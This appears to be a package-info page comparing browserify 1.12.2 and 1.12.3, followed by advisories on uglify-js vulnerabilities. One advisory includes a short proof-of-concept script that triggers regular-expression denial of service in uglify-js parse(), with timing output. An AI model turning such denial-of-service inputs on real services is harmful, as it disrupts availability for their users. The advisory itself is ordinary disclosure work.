Browserify version 1.12.3 represents a minor update over its predecessor, version 1.12.2, both iterations enabling developers to utilize Node.js-style require() statements within browser-based JavaScript environments. Both versions share identical core dependencies, including modules like nub, deputy, resolve, optimist, commondir, detective, coffee-script, vm-browserify, http-browserify, and crypto-browserify, ensuring consistent functionality for module resolution, dependency management, and core Node.js API emulation within the browser. The developer dependencies, such as seq, tap, jade, lazy, dnode, connect, hashish, backbone, ecstatic, traverse, and jquery-browserify, also remain the same, indicating a focus on maintaining compatibility and the existing testing and development ecosystem.
The key difference lies in the package description and potentially some minor internal fixes or documentation updates, though these are not explicitly detailed in the provided data. While version 1.12.2 boasts a concise description of "browser-side require() for js directories and npm modules," version 1.12.3 simply states "browserify ===========". This suggests a potential rebranding or simplification effort, although the functional impact is likely minimal. Developers considering upgrading from 1.12.2 to 1.12.3 should expect a seamless transition, with the primary benefit being staying current with potentially bug fixes. Both versions function fundamentally as tools for bundling server-side JavaScript modules for client-side execution, making them invaluable for modern web development workflows.
All the vulnerabilities related to the version 1.12.3 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.